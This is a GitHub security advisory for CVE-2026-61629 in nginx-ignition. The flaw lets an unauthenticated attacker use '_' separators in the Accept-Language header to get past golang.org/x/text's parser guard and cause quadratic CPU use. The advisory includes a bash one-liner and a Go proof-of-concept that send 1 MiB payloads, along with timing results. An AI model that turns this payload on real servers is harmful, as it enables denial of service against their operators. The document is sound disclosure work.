GitHub Advisoryadvisory · Go

GHSA-jr34-h97m-9hpx nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware

HIGH Published 2026-09-21 Modified 2026-09-21 Official page ↗
Aliases
CVE-2026-61629
Ecosystem
Go
Packages
github.com/lucasdillmann/nginx-ignition
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-770
Reviewed
2026-09-21

Affected packages

• Go github.com/lucasdillmann/nginx-ignition: >= 0.0.0-20260126024607-cbaf0fc16ed8, < 0.0.0-20260526022344-0c988fc1277c → fixed in 0.0.0-20260526022344-0c988fc1277c

Description

Summary The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth. Affected versions `dillmann.com.br/nginx-ignition` v2.40.0 and (per code inspection of `main`) earlier 2.x versions whose `api/common/server/i18n.go` middleware routes the `Accept-Language` header through `language.ParseAcceptLanguage` without imposing its own size or character filter. Verified on: • the official `dillmann/nginx-ignition:latest` Docker image at v2.40.0 (E2E below) • `main` at commit `faef4c99442b329cfa4ee8879bdba41c22866a18` by reading `api/common/server/i18n.go` (the middleware is unchanged) Privilege required Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated `/api/health` style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope. Vulnerable code `api/common/server/i18n.go` (blob SHA `faef4c99442b329cfa4ee8879bdba41c22866a18`): ```go func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc { return func(ginCtx *gin.Context) { lang := commands.DefaultLanguage() langHeader := ginCtx.GetHeader("Accept-Language") tags, _, err := language.ParseAcceptLanguage(langHeader) if err == nil && len(tags) > 0 { for _, tag := range tags { if commands.Supports(tag) { lang = tag break } } } //nolint:staticcheck updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang) ginCtx.Request = ginCtx.Request.WithContext(updatedCtx) ginCtx.Set(i18n.ContextKey, lang) ginCtx.Next() } } ``` `ginCtx.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time (`golang.org/x/text/internal/language/parse.go`). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. How `Accept-Language` reaches `ParseAcceptLanguage` Every HTTP request that hits the nginx-ignition API server passes through `i18nMiddleware` (registered as a global gin middleware). The middleware sequence is: 1. The request enters `i18nMiddleware`. 2. `ginCtx.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `language.ParseAcceptLanguage(langHeader)` runs unfiltered. No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and `/api/health` (which returns 404 but still completes the middleware chain). Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `dillmann/nginx-ignition:latest` container: ```bash docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest sleep 5 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18090/api/health ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). End-to-end reproduction (against `dillmann/nginx-ignition:latest` at v2.40.0) A Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18090/api/health" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ``` Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `dillmann/nginx-ignition:latest` image at v2.40.0): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at api/common/server/i18n.go. Target: http://127.0.0.1:18090/api/health payload=1048576 B warm-up header=0 B '_'=0 '-'=0 status=404 t=10.336041ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=404 t=4.211583ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=404 t=3.276416ms guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=404 t=31.683792ms attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=404 t=2.429408875s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=404 t=3.589948166s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=404 t=2.415860875s ``` Interpretation: | Request | Header bytes | Server time | |------------------------------------…

Related

Alias · CVE (1)

  • CVE-2026-61629 nginx ignition is a user interface for the nginx web server. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References